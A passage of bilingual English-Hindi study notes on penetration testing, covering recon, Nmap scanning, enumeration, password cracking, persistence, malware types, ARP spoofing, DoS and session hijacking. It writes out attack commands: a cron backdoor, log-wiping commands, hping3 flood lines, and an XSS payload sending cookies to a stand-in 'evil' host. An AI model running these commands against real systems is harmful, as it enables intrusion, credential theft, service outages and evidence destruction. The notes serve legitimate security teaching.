Penetration testing methodologies और security auditing techniques – Detailed notes in English and हिंदी
| Type | Description |
|---|---|
| White-hat | Authorised, legal, defensive. Reports to owner. |
| Black-hat | Unauthorised, illegal, malicious. |
| Grey-hat | Unauthorised but not malicious; often reports issues. |
| Red team | Offensive team simulating a real attack. |
| Blue team | Defensive team detecting and responding. |
| Purple team | Red + blue working together to improve defences. |
Hacker classes: Script kiddies, hacktivists, insider threats, state-sponsored actors, cyber terrorists.
Hacker spectrum:
WHITE-HAT ── authorised ──▶ Defence
GREY-HAT ── unauthorised, non-malicious ──▶ Mixed
BLACK-HAT ── unauthorised, malicious ──▶ Attack
Rules of Engagement (RoE):
┌──────────────────────────────────┐
│ Scope (IPs, domains, apps) │
│ Time window │
│ Allowed techniques │
│ Emergency contacts │
│ Legal authorisation (signed) │
│ Reporting format and timeline │
└──────────────────────────────────┘
| प्रकार | विवरण |
|---|---|
| White-hat | Authorised, legal, defensive. Owner को report। |
| Black-hat | Unauthorised, illegal, malicious। |
| Grey-hat | Unauthorised पर malicious नहीं; अक्सर issues report करते हैं। |
| Red team | Offensive team real attack simulate करती है। |
| Blue team | Defensive team detect और respond करती है। |
| Purple team | Red + blue साथ काम करके defences सुधारते हैं। |
Hacker classes: Script kiddies, hacktivists, insider threats, state-sponsored actors, cyber terrorists।
Hacker spectrum:
WHITE-HAT ── authorised ──▶ Defence
GREY-HAT ── unauthorised, non-malicious ──▶ Mixed
BLACK-HAT ── unauthorised, malicious ──▶ Attack
Rules of Engagement (RoE):
┌──────────────────────────────────┐
│ Scope (IPs, domains, apps) │
│ Time window │
│ Allowed techniques │
│ Emergency contacts │
│ Legal authorisation (signed) │
│ Reporting format and timeline │
└──────────────────────────────────┘
1. Reconnaissance → whois, subdomain enum, LinkedIn for employees 2. Scanning → Nmap ports, Nikto, directory brute force 3. Gaining Access → exploit SQLi or weak admin login 4. Maintaining → web shell, reverse shell, cron persistence 5. Covering Tracks → clear auth.log, disable history 6. Reporting → document, risk rating, remediation
| Test Type | Knowledge Given | Realism |
|---|---|---|
| Black-box | None (like an outsider) | High |
| White-box | Full docs, source, credentials | Low; most thorough |
| Grey-box | Partial info | Balanced |
Methodologies:
┌────────────────────┐
│ 1. Reconnaissance │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 2. Scanning │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 3. Gaining Access │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 4. Maintaining │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 5. Covering Tracks │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 6. Reporting │
└────────────────────┘
1. Reconnaissance → whois, subdomain enum, LinkedIn से employees 2. Scanning → Nmap ports, Nikto, directory brute force 3. Gaining Access → SQLi exploit या weak admin login 4. Maintaining → web shell, reverse shell, cron persistence 5. Covering Tracks → clear auth.log, disable history 6. Reporting → document, risk rating, remediation
| Test Type | Knowledge | Realism |
|---|---|---|
| Black-box | कुछ नहीं (outsider जैसा) | High |
| White-box | Full docs, source, credentials | Low; सबसे thorough |
| Grey-box | Partial info | Balanced |
Methodologies:
┌────────────────────┐
│ 1. Reconnaissance │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 2. Scanning │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 3. Gaining Access │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 4. Maintaining │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 5. Covering Tracks │
└──────────┬─────────┘
▼
┌────────────────────┐
│ 6. Reporting │
└────────────────────┘
Passive (no direct contact):
whois example.com
dig +short example.com
nslookup -type=mx example.com
theHarvester -d example.com -b google
LinkedIn, GitHub, Shodan, Censys
Active (limited contact):
DNS zone transfer attempt:
dig axfr @ns.example.com example.com
Ping sweep (nmap -sn 192.168.1.0/24)
HTTP HEAD requests
Web archives (Wayback Machine)
| Category | Info Collected | Tools |
|---|---|---|
| DNS footprinting | A, MX, NS, TXT records; zone transfers | dig, nslookup, dnsrecon, fierce |
| Whois | Registrar, contacts, dates | whois, whoisxmlapi |
| Network | IP ranges, ASN, BGP | whois, bgp.he.net, Robtex |
| Search engines | Emails, subdomains, docs | Google dorks, Bing, Shodan |
| Social media | Employees, roles, org chart | LinkedIn, X (Twitter) |
| Web archives | Old pages, forgotten endpoints | Wayback Machine, archive.today |
| Email headers | Mail servers, IPs | Received headers |
| Competitive intel | Partners, acquisitions | Annual reports, news |
┌──────────────────────────────────────┐
│ FOOTPRINTING │
└──────────────────────────────────────┘
│ │
PASSIVE ACTIVE
│ │
┌────────┴────────┐ ┌──────┴───────┐
│ Whois │ │ DNS zone │
│ DNS records │ │ transfer │
│ Search engines │ │ Ping sweep │
│ Social media │ │ HTTP HEAD │
│ Shodan/Censys │ │ Netcraft │
│ Web archives │ │ WHOIS DB │
└─────────────────┘ └──────────────┘
│ │
└────────┬───────────┘
▼
Attack surface map
Passive (कोई direct contact नहीं):
whois example.com
dig +short example.com
nslookup -type=mx example.com
theHarvester -d example.com -b google
LinkedIn, GitHub, Shodan, Censys
Active (limited contact):
DNS zone transfer attempt:
dig axfr @ns.example.com example.com
Ping sweep (nmap -sn 192.168.1.0/24)
HTTP HEAD requests
Web archives (Wayback Machine)
| Category | Info | Tools |
|---|---|---|
| DNS footprinting | A, MX, NS, TXT records; zone transfers | dig, nslookup, dnsrecon, fierce |
| Whois | Registrar, contacts, dates | whois, whoisxmlapi |
| Network | IP ranges, ASN, BGP | whois, bgp.he.net, Robtex |
| Search engines | Emails, subdomains, docs | Google dorks, Bing, Shodan |
| Social media | Employees, roles, org chart | LinkedIn, X (Twitter) |
| Web archives | Old pages, forgotten endpoints | Wayback Machine, archive.today |
| Email headers | Mail servers, IPs | Received headers |
| Competitive intel | Partners, acquisitions | Annual reports, news |
┌──────────────────────────────────────┐
│ FOOTPRINTING │
└──────────────────────────────────────┘
│ │
PASSIVE ACTIVE
│ │
┌────────┴────────┐ ┌──────┴───────┐
│ Whois │ │ DNS zone │
│ DNS records │ │ transfer │
│ Search engines │ │ Ping sweep │
│ Social media │ │ HTTP HEAD │
│ Shodan/Censys │ │ Netcraft │
│ Web archives │ │ WHOIS DB │
└─────────────────┘ └──────────────┘
│ │
└────────┬───────────┘
▼
Attack surface map
# Host discovery (ping sweep, no port scan) nmap -sn 192.168.1.0/24 # TCP SYN scan (stealth) nmap -sS -p 1-1000 192.168.1.10 # Service + version detection nmap -sV -sC 192.168.1.10 # OS detection nmap -O 192.168.1.10 # Aggressive scan nmap -A -T4 192.168.1.10 # Save output nmap -oX scan.xml 192.168.1.10
A. Scan types:
| Scan | Mechanism | Stealth |
|---|---|---|
| TCP Connect | Full 3-way handshake | Low (logged) |
| SYN (half-open) | SYN → SYN/ACK → RST | Medium |
| FIN / XMAS / NULL | No handshake; unusual flags | High (but many OS ignore) |
| ACK | Maps firewall rules | — |
| UDP | Connectionless; slow | Depends |
| Idle (zombie) | Uses a third host | Very high |
B. Other techniques:
Normal TCP handshake:
Client ─── SYN ──▶ Server
◀── SYN/ACK ───
─── ACK ──▶ (connection open)
SYN (half-open) scan:
Scanner ─── SYN ──▶ Target
◀── SYN/ACK ─── (port open)
─── RST ──▶ (no full connection)
Or if closed:
◀── RST/ACK ─── (port closed)
Scan categories:
Host discovery → nmap -sn
Port scan → nmap -sS -p-
Service detect → nmap -sV
OS detect → nmap -O
# Host discovery (ping sweep, port scan नहीं) nmap -sn 192.168.1.0/24 # TCP SYN scan (stealth) nmap -sS -p 1-1000 192.168.1.10 # Service + version detection nmap -sV -sC 192.168.1.10 # OS detection nmap -O 192.168.1.10 # Aggressive scan nmap -A -T4 192.168.1.10 # Save output nmap -oX scan.xml 192.168.1.10
A. Scan types:
| Scan | Mechanism | Stealth |
|---|---|---|
| TCP Connect | पूरा 3-way handshake | Low (logged) |
| SYN (half-open) | SYN → SYN/ACK → RST | Medium |
| FIN / XMAS / NULL | Handshake नहीं; unusual flags | High (कई OS ignore) |
| ACK | Firewall rules map | — |
| UDP | Connectionless; slow | Depends |
| Idle (zombie) | तीसरा host use | Very high |
B. अन्य techniques:
Normal TCP handshake:
Client ─── SYN ──▶ Server
◀── SYN/ACK ───
─── ACK ──▶ (connection open)
SYN (half-open) scan:
Scanner ─── SYN ──▶ Target
◀── SYN/ACK ─── (port open)
─── RST ──▶ (full connection नहीं)
या closed पर:
◀── RST/ACK ─── (port closed)
Scan categories:
Host discovery → nmap -sn
Port scan → nmap -sS -p-
Service detect → nmap -sV
OS detect → nmap -O
# SMB shares and users smbclient -L //192.168.1.10 -N enum4linux -a 192.168.1.10 # SNMP walk (community string public) snmpwalk -c public -v1 192.168.1.10 # LDAP ldapsearch -x -h 192.168.1.10 -b "dc=example,dc=com" # DNS zone transfer dig axfr @ns.example.com example.com # Web directories gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
| Protocol | Enumerated | Tools |
|---|---|---|
| NetBIOS / SMB | Hosts, shares, users, groups, policies | nmblookup, enum4linux, smbclient |
| SNMP | Devices, interfaces, users, routes | snmpwalk, snmp-check |
| LDAP | Users, groups, OUs | ldapsearch, JXplorer |
| NFS | Exported shares | showmount -e |
| DNS | Zone records, subdomains | dig, dnsrecon |
| SMTP | Valid users (VRFY, EXPN) | smtp-user-enum |
| Web | Directories, files, vhosts | gobuster, ffuf, dirb |
Footprinting → Scanning → [ ENUMERATION ] → Exploitation
Information gathered:
Users ──▶ Password attacks
Shares ──▶ File extraction
Policies ──▶ Misconfiguration
Services ──▶ CVE lookup
DNS ──▶ Attack surface
Web dirs ──▶ Hidden endpoints
# SMB shares और users smbclient -L //192.168.1.10 -N enum4linux -a 192.168.1.10 # SNMP walk (community string public) snmpwalk -c public -v1 192.168.1.10 # LDAP ldapsearch -x -h 192.168.1.10 -b "dc=example,dc=com" # DNS zone transfer dig axfr @ns.example.com example.com # Web directories gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
| Protocol | क्या enumerate होता है | Tools |
|---|---|---|
| NetBIOS / SMB | Hosts, shares, users, groups, policies | nmblookup, enum4linux, smbclient |
| SNMP | Devices, interfaces, users, routes | snmpwalk, snmp-check |
| LDAP | Users, groups, OUs | ldapsearch, JXplorer |
| NFS | Exported shares | showmount -e |
| DNS | Zone records, subdomains | dig, dnsrecon |
| SMTP | Valid users (VRFY, EXPN) | smtp-user-enum |
| Web | Directories, files, vhosts | gobuster, ffuf, dirb |
Footprinting → Scanning → [ ENUMERATION ] → Exploitation
जो जानकारी मिलती है:
Users ──▶ Password attacks
Shares ──▶ File extraction
Policies ──▶ Misconfiguration
Services ──▶ CVE lookup
DNS ──▶ Attack surface
Web dirs ──▶ Hidden endpoints
1. Authenticated scan with OpenVAS / Nessus 2. Web scan with Nikto + OWASP ZAP 3. Review CVEs from scan output - CVE-2021-44228 (Log4Shell) - CVE-2017-0144 (EternalBlue) 4. Verify manually (banner, exploit PoC in lab) 5. Score with CVSS v3.1 6. Prioritise by exposure, exploitability, business impact 7. Produce report with remediation steps
A. Approaches:
| Type | Description |
|---|---|
| Active scanning | Send probes to identify issues (noisy). |
| Passive scanning | Observe traffic and monitor for known signatures. |
| Authenticated (credentialed) scan | Log in to see patch level, config, missing updates. |
| Unauthenticated scan | External view; matches what an attacker sees. |
| Static analysis (SAST) | Review source code for issues. |
| Dynamic analysis (DAST) | Test running application for vulnerabilities. |
B. Common tools: Nessus, OpenVAS, Qualys, Nexpose, Nikto, OWASP ZAP, Burp Suite, sqlmap, Metasploit, Searchsploit.
C. Risk scoring: CVSS base score + temporal + environmental. Ratings: Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0).
Discover ──▶ Assess ──▶ Prioritise ──▶ Remediate ──▶ Verify
▲ │
└───────────────── Continuous loop ────────────────────────────┘
Scoring (CVSS):
Critical (9.0 – 10.0) → fix immediately
High (7.0 – 8.9) → fix within days
Medium (4.0 – 6.9) → fix within weeks
Low (0.1 – 3.9) → fix as scheduling allows
1. OpenVAS / Nessus से authenticated scan 2. Nikto + OWASP ZAP से web scan 3. Scan output से CVEs review - CVE-2021-44228 (Log4Shell) - CVE-2017-0144 (EternalBlue) 4. Manually verify (banner, exploit PoC lab में) 5. CVSS v3.1 से score 6. Exposure, exploitability, business impact से prioritise 7. Remediation steps के साथ report
A. Approaches:
| Type | विवरण |
|---|---|
| Active scanning | Probes भेजकर issues identify (noisy)। |
| Passive scanning | Traffic observe, known signatures monitor। |
| Authenticated (credentialed) scan | Login करके patch level, config, missing updates। |
| Unauthenticated scan | External view; attacker जैसा। |
| Static analysis (SAST) | Source code review। |
| Dynamic analysis (DAST) | Running application test। |
B. Common tools: Nessus, OpenVAS, Qualys, Nexpose, Nikto, OWASP ZAP, Burp Suite, sqlmap, Metasploit, Searchsploit।
C. Risk scoring: CVSS base score + temporal + environmental। Ratings: Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0)।
Discover ──▶ Assess ──▶ Prioritise ──▶ Remediate ──▶ Verify
▲ │
└───────────────── Continuous loop ────────────────────────────┘
Scoring (CVSS):
Critical (9.0 – 10.0) → तुरंत fix
High (7.0 – 8.9) → दिनों में
Medium (4.0 – 6.9) → हफ्तों में
Low (0.1 – 3.9) → schedule के हिसाब से
# Password attacks hydra -l admin -P rockyou.txt ssh://192.168.1.10 john --wordlist=rockyou.txt hashes.txt hashcat -m 1000 ntlm.txt rockyou.txt # Privilege escalation (Linux) sudo -l # what can we sudo? find / -perm -4000 2>/dev/null # SUID binaries uname -a # kernel → searchsploit # Persistence echo "@reboot /tmp/.backdoor" | crontab - # Windows: schtasks /create /sc onlogon /tn backdoor /tr evil.exe # Cover tracks history -c rm ~/.bash_history wevtutil cl Security # Windows event log (requires admin)
A. Password attacks:
| Type | Description |
|---|---|
| Brute force | Try every combination (slow). |
| Dictionary | Try words from a list (fast, effective). |
| Hybrid | Dictionary + variations (leet, suffixes). |
| Rule-based | Hashcat rules to mutate words. |
| Rainbow tables | Precomputed hashes (defeated by salting). |
| Pass-the-hash | Use NTLM hash directly, no cracking. |
| Credential stuffing | Reuse leaked creds from other breaches. |
B. Privilege escalation: kernel exploits, misconfigured SUID/sudo, unquoted service paths, weak service permissions, stored credentials, token impersonation.
C. Maintaining access: backdoors, rootkits, web shells, scheduled tasks, cron jobs, service accounts, RDP/VPN persistence.
┌───────────────────┐
│ 1. Gaining Access │ Passwords, exploits
└─────────┬─────────┘
▼
┌───────────────────┐
│ 2. Privilege │ SUID, kernel, misconfig
│ Escalation │
└─────────┬─────────┘
▼
┌───────────────────┐
│ 3. Maintaining │ Backdoors, rootkits,
│ Access │ cron, scheduled tasks
└─────────┬─────────┘
▼
┌───────────────────┐
│ 4. Covering Tracks│ Clear logs, hide files
└───────────────────┘
# Password attacks hydra -l admin -P rockyou.txt ssh://192.168.1.10 john --wordlist=rockyou.txt hashes.txt hashcat -m 1000 ntlm.txt rockyou.txt # Privilege escalation (Linux) sudo -l # क्या sudo कर सकते हैं? find / -perm -4000 2>/dev/null # SUID binaries uname -a # kernel → searchsploit # Persistence echo "@reboot /tmp/.backdoor" | crontab - # Windows: schtasks /create /sc onlogon /tn backdoor /tr evil.exe # Cover tracks history -c rm ~/.bash_history wevtutil cl Security # Windows event log (admin चाहिए)
A. Password attacks:
| Type | विवरण |
|---|---|
| Brute force | हर combination try (slow)। |
| Dictionary | List से words try (fast, effective)। |
| Hybrid | Dictionary + variations (leet, suffixes)। |
| Rule-based | Hashcat rules से words mutate। |
| Rainbow tables | Precomputed hashes (salting से defeated)। |
| Pass-the-hash | NTLM hash directly use, cracking नहीं। |
| Credential stuffing | दूसरे breaches के leaked creds reuse। |
B. Privilege escalation: kernel exploits, misconfigured SUID/sudo, unquoted service paths, weak service permissions, stored credentials, token impersonation।
C. Maintaining access: backdoors, rootkits, web shells, scheduled tasks, cron jobs, service accounts, RDP/VPN persistence।
┌───────────────────┐
│ 1. Gaining Access │ Passwords, exploits
└─────────┬─────────┘
▼
┌───────────────────┐
│ 2. Privilege │ SUID, kernel, misconfig
│ Escalation │
└─────────┬─────────┘
▼
┌───────────────────┐
│ 3. Maintaining │ Backdoors, rootkits,
│ Access │ cron, scheduled tasks
└─────────┬─────────┘
▼
┌───────────────────┐
│ 4. Covering Tracks│ Logs clear, files छिपाएँ
└───────────────────┘
Virus : Melissa (1999), CIH / Chernobyl (1998) Worm : Morris worm (1988), WannaCry (2017) Trojan : Zeus banking trojan, RATs, Emotet Ransomware : WannaCry, LockBit, Conti, REvil Rootkit : Sony BMG rootkit (2005), TDL-4 Spyware : Pegasus, FinFisher, keyloggers Fileless : PowerShell Empire, Cobalt Strike beacons
| Type | Spreads Via | Needs Host? | Key Trait |
|---|---|---|---|
| Virus | Infected file, user runs it | Yes | Attaches to files |
| Worm | Network, no user needed | No | Self-propagating |
| Trojan | Disguised as legit software | Yes | User installs it |
| Ransomware | Trojan + worm (often) | Yes | Encrypts files, demands payment |
| Rootkit | Various | Yes | Hides itself deeply |
| Spyware / Keylogger | Bundled, phishing | Yes | Steals data silently |
| Adware | Bundled | Yes | Shows unwanted ads |
| Botnet agent | Worm / trojan | Yes | Remote-controlled |
| Fileless | Uses OS tools (PowerShell, WMI) | No file on disk | Hard to detect |
1. Delivery → Email / USB / exploit kit / supply chain
│
▼
2. Execution → User runs file / document macro
│
▼
3. Persistence → Run keys, cron, services
│
▼
4. C2 → Beacon to attacker server
│
▼
5. Actions → Theft, encryption, lateral, DDoS
Virus vs Worm:
Virus: needs a host file + user action
Worm: standalone, spreads across network
Virus : Melissa (1999), CIH / Chernobyl (1998) Worm : Morris worm (1988), WannaCry (2017) Trojan : Zeus banking trojan, RATs, Emotet Ransomware : WannaCry, LockBit, Conti, REvil Rootkit : Sony BMG rootkit (2005), TDL-4 Spyware : Pegasus, FinFisher, keyloggers Fileless : PowerShell Empire, Cobalt Strike beacons
| Type | कैसे फैलता है | Host चाहिए? | Key Trait |
|---|---|---|---|
| Virus | Infected file, user चलाए | Yes | Files से attach |
| Worm | Network, user नहीं चाहिए | No | Self-propagating |
| Trojan | Legit software के रूप में | Yes | User install करे |
| Ransomware | Trojan + worm (अक्सर) | Yes | Files encrypt, payment मांगे |
| Rootkit | Various | Yes | गहराई तक छिपे |
| Spyware / Keylogger | Bundled, phishing | Yes | Data चुपके से चुराए |
| Adware | Bundled | Yes | Unwanted ads |
| Botnet agent | Worm / trojan | Yes | Remote-controlled |
| Fileless | OS tools (PowerShell, WMI) | Disk पर file नहीं | Detect करना कठिन |
1. Delivery → Email / USB / exploit kit / supply chain
│
▼
2. Execution → User file चलाए / document macro
│
▼
3. Persistence → Run keys, cron, services
│
▼
4. C2 → Attacker server को beacon
│
▼
5. Actions → Theft, encryption, lateral, DDoS
Virus vs Worm:
Virus: host file + user action चाहिए
Worm: standalone, network पर फैलता है
# Passive capture tcpdump -i eth0 -w capture.pcap tshark -r capture.pcap -Y "http.request" # ARP spoofing (MITM) arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 # MAC flooding (hubs/switches) macof -i eth0 # DNS spoofing (with ettercap) ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.10//
A. Sniffing types:
| Type | Description |
|---|---|
| Passive | Just monitor; no packets sent. |
| Active | Inject traffic to trigger responses (e.g., switch flooding). |
| Wired sniffing | Segment-level; hubs easy; switches need ARP/MAC tricks. |
| Wireless sniffing | Monitor mode on Wi-Fi; capture beacons and data. |
| MITM | Placed between two hosts; can read and modify. |
B. Spoofing types: IP spoofing, MAC spoofing, ARP spoofing, DNS spoofing, DHCP spoofing, email spoofing, caller ID spoofing.
C. Sniffing tools: Wireshark, tcpdump, tshark, ettercap, Bettercap, dsniff, Kismet, Aircrack-ng (wireless).
Normal path:
Victim (192.168.1.10) ──▶ Gateway (192.168.1.1) ──▶ Internet
ARP spoof (MITM):
Victim ──▶ Attacker ──▶ Gateway ──▶ Internet
(forwards and reads)
Attacker tells victim:
"I am the gateway" (MAC of attacker)
Attacker tells gateway:
"I am the victim" (MAC of attacker)
Result: all traffic passes through attacker.
Defence: Dynamic ARP Inspection (DAI), static ARP,
port security, encrypted protocols (HTTPS).
# Passive capture tcpdump -i eth0 -w capture.pcap tshark -r capture.pcap -Y "http.request" # ARP spoofing (MITM) arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 # MAC flooding (hubs/switches) macof -i eth0 # DNS spoofing (with ettercap) ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.10//
A. Sniffing types:
| Type | विवरण |
|---|---|
| Passive | सिर्फ monitor; packets नहीं भेजे। |
| Active | Traffic inject करके responses trigger (switch flooding)। |
| Wired sniffing | Segment level; hubs आसान; switches के लिए ARP/MAC tricks। |
| Wireless sniffing | Wi-Fi पर monitor mode; beacons और data। |
| MITM | दो hosts के बीच; पढ़ और modify कर सकते हैं। |
B. Spoofing types: IP spoofing, MAC spoofing, ARP spoofing, DNS spoofing, DHCP spoofing, email spoofing, caller ID spoofing।
C. Sniffing tools: Wireshark, tcpdump, tshark, ettercap, Bettercap, dsniff, Kismet, Aircrack-ng (wireless)।
Normal path:
Victim (192.168.1.10) ──▶ Gateway (192.168.1.1) ──▶ Internet
ARP spoof (MITM):
Victim ──▶ Attacker ──▶ Gateway ──▶ Internet
(forward और read)
Attacker victim को बताता है:
"मैं gateway हूँ" (attacker का MAC)
Attacker gateway को बताता है:
"मैं victim हूँ" (attacker का MAC)
Result: सारा traffic attacker से गुज़रता है।
Defence: Dynamic ARP Inspection (DAI), static ARP,
port security, encrypted protocols (HTTPS)।
# Volumetric hping3 -S --flood -p 80 target.com # SYN flood hping3 --udp -p 53 --flood target.com # UDP flood hping3 --icmp --flood target.com # ICMP flood # Application-layer (Layer 7) ab -n 100000 -c 1000 http://target.com/ # HTTP flood # Slowloris: many slow HTTP connections slowloris target.com # Reflective amplification # DNS amplification (small query → big response) # NTP monlist, Memcached, SSDP # Botnet-based # Mirai (IoT botnet) — DDoS at 1 Tbps+
| Type | Mechanism | Examples |
|---|---|---|
| Volumetric | Flood bandwidth | UDP, ICMP flood |
| Protocol | Exhaust resources (state tables) | SYN flood, Ping of Death |
| Application-layer | Exhaust server logic | HTTP flood, Slowloris |
| Reflection / Amplification | Small request, big response to victim | DNS, NTP, Memcached, SSDP |
| Distributed (DDoS) | Many sources (botnet) | Mirai, IoT botnets |
| Permanent DoS (PDoS) | Brick firmware / hardware | Firmware corruption |
SYN flood:
Attacker → SYNs with spoofed source → Target
Target replies SYN/ACK to spoofed IPs
Half-open connections fill the backlog
Legitimate users cannot connect
Amplification (DNS):
Attacker spoofs victim's IP → open DNS resolver
Sends small query "ANY isc.org"
Resolver replies (large) → victim
1× request → 50× response to victim
Mitigation layers:
Edge → Anycast, CDN, scrubbing centre
Network→ ACLs, rate limiting, SYN cookies
App → WAF, CAPTCHA, caching
# Volumetric hping3 -S --flood -p 80 target.com # SYN flood hping3 --udp -p 53 --flood target.com # UDP flood hping3 --icmp --flood target.com # ICMP flood # Application-layer (Layer 7) ab -n 100000 -c 1000 http://target.com/ # HTTP flood # Slowloris: कई slow HTTP connections slowloris target.com # Reflective amplification # DNS amplification (small query → big response) # NTP monlist, Memcached, SSDP # Botnet-based # Mirai (IoT botnet) — DDoS 1 Tbps+
| Type | Mechanism | Examples |
|---|---|---|
| Volumetric | Bandwidth flood | UDP, ICMP flood |
| Protocol | Resources exhaust (state tables) | SYN flood, Ping of Death |
| Application-layer | Server logic exhaust | HTTP flood, Slowloris |
| Reflection / Amplification | छोटा request, बड़ा response victim को | DNS, NTP, Memcached, SSDP |
| Distributed (DDoS) | कई sources (botnet) | Mirai, IoT botnets |
| Permanent DoS (PDoS) | Firmware / hardware brick | Firmware corruption |
SYN flood:
Attacker → spoofed source वाले SYNs → Target
Target spoofed IPs को SYN/ACK reply
Half-open connections backlog भरें
Legitimate users connect नहीं कर पाएँ
Amplification (DNS):
Attacker victim का IP spoof → open DNS resolver
छोटी query "ANY isc.org" भेजे
Resolver बड़ा reply → victim
1× request → 50× response victim को
Mitigation layers:
Edge → Anycast, CDN, scrubbing centre
Network→ ACLs, rate limiting, SYN cookies
App → WAF, CAPTCHA, caching
# 1. Steal session cookie over HTTP (no HTTPS) # Wireshark shows: Cookie: PHPSESSID=abc123... # 2. Cross-site scripting (XSS) stealing cookie <script>new Image().src='http://evil/?c='+document.cookie</script> # 3. Session fixation Attacker sets SESSIONID=known before login Victim logs in using that ID Attacker reuses same ID → hijacked # 4. Cookie tampering (predictable IDs) # Sequential session IDs: 1001, 1002, 1003 ... # Attacker guesses the next one # 5. Tool: Cookie Editor, Burp Suite, OWASP ZAP # Import stolen cookie → access as victim
| Type | Level | Description |
|---|---|---|
| TCP session hijacking | Network | Predict/steal TCP sequence numbers; inject packets. |
| Application / HTTP hijacking | App | Steal or forge session cookies / tokens. |
| Session fixation | App | Force a known session ID on the victim. |
| Session sidejacking | Network | Sniff cookie over unencrypted Wi-Fi. |
| Cross-site scripting | App | JS steals cookies; bypasses HttpOnly if not set. |
| Cross-site request forgery | App | Victim's browser makes authenticated requests unknowingly. |
| Man-in-the-browser | Client | Malware in the browser rewrites transactions. |
Session fixation:
Attacker ─── SESSIONID=known ──▶ Victim browser
Victim ─── login with known ID ──▶ Server
Attacker ─── uses same ID ──────▶ Server (as victim!)
Cookie theft over HTTP:
Victim ─── HTTP request + Cookie ──▶ Server
│
▼
Attacker sniffs (Wi-Fi MITM)
Defences:
HTTPS + HSTS → blocks sniffing
HttpOnly + Secure → blocks JS theft / HTTP send
SameSite=Lax/Strict → blocks CSRF
Rotate session on login→ blocks fixation
Short timeouts → limits window
# 1. HTTP पर session cookie चुराना (HTTPS नहीं) # Wireshark दिखाता है: Cookie: PHPSESSID=abc123... # 2. Cross-site scripting (XSS) से cookie चोरी <script>new Image().src='http://evil/?c='+document.cookie</script> # 3. Session fixation Attacker login से पहले SESSIONID=known set करे Victim उसी ID से login करे Attacker उसी ID को reuse → hijacked # 4. Cookie tampering (predictable IDs) # Sequential session IDs: 1001, 1002, 1003 ... # Attacker अगला guess करे # 5. Tool: Cookie Editor, Burp Suite, OWASP ZAP # Stolen cookie import → victim की तरह access
| Type | Level | विवरण |
|---|---|---|
| TCP session hijacking | Network | TCP sequence numbers predict/steal; packets inject। |
| Application / HTTP hijacking | App | Session cookies / tokens चुराना या forge। |
| Session fixation | App | Victim पर known session ID force। |
| Session sidejacking | Network | Unencrypted Wi-Fi पर cookie sniff। |
| Cross-site scripting | App | JS cookies चुराए; HttpOnly न हो तो bypass। |
| Cross-site request forgery | App | Victim का browser अनजाने authenticated requests। |
| Man-in-the-browser | Client | Browser में malware transactions rewrite। |
Session fixation:
Attacker ─── SESSIONID=known ──▶ Victim browser
Victim ─── known ID से login ──▶ Server
Attacker ─── वही ID use ──────▶ Server (victim की तरह!)
HTTP पर cookie theft:
Victim ─── HTTP request + Cookie ──▶ Server
│
▼
Attacker sniff (Wi-Fi MITM)
Defences:
HTTPS + HSTS → sniffing block
HttpOnly + Secure → JS theft / HTTP send block
SameSite=Lax/Strict → CSRF block
Login पर session rotate → fixation block
Short timeouts → window limit
# Technology detection whatweb http://target wappalyzer (browser extension) # Directory brute force gobuster dir -u http://target -w wordlist.txt # Server misconfig checks nikto -h http://target # WordPress wpscan --url http://target --enumerate vp,vt,u # Common attack paths /phpMyAdmin/ (default install, weak creds) /admin/ (default admin panel) /backup/ (exposed backups) /.git/ (source code leak) robots.txt (reveals hidden paths) # LFI / RFI http://target/?page=../../../../etc/passwd
A. Web server issues:
| Issue | Impact |
|---|---|
| Default credentials | Full admin access |
| Directory listing | File disclosure |
| Outdated server version | Known CVEs (e.g., Apache 2.4.49 path traversal) |
| Misconfigured SSL/TLS | Downgrade attacks, weak ciphers |
| Exposed admin panels | Brute-force targets |
| Verbose error pages | Info leakage |
B. Web application issues (OWASP Top 10):
Attacker
│
▼
┌──────────────────────────────────┐
│ Web server (Apache/Nginx/IIS) │
│ • default pages │
│ • outdated version │
│ • TLS config │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Framework (Laravel, Django, ...) │
│ • vulnerable plugins │
│ • debug mode │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Application │
│ • Authentication │
│ • Authorization │
│ • Input handling (SQLi, XSS) │
│ • Business logic flaws │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Database / Backend │
└──────────────────────────────────┘
# Technology detection whatweb http://target wappalyzer (browser extension) # Directory brute force gobuster dir -u http://target -w wordlist.txt # Server misconfig checks nikto -h http://target # WordPress wpscan --url http://target --enumerate vp,vt,u # Common attack paths /phpMyAdmin/ (default install, weak creds) /admin/ (default admin panel) /backup/ (exposed backups) /.git/ (source code leak) robots.txt (hidden paths) # LFI / RFI http://target/?page=../../../../etc/passwd
A. Web server issues:
| Issue | Impact |
|---|---|
| Default credentials | Full admin access |
| Directory listing | File disclosure |
| Outdated server version | Known CVEs (जैसे Apache 2.4.49 path traversal) |
| Misconfigured SSL/TLS | Downgrade attacks, weak ciphers |
| Exposed admin panels | Brute-force targets |
| Verbose error pages | Info leakage |
B. Web application issues (OWASP Top 10):
Attacker
│
▼
┌──────────────────────────────────┐
│ Web server (Apache/Nginx/IIS) │
│ • default pages │
│ • outdated version │
│ • TLS config │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Framework (Laravel, Django, ...) │
│ • vulnerable plugins │
│ • debug mode │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Application │
│ • Authentication │
│ • Authorization │
│ • Input handling (SQLi, XSS) │
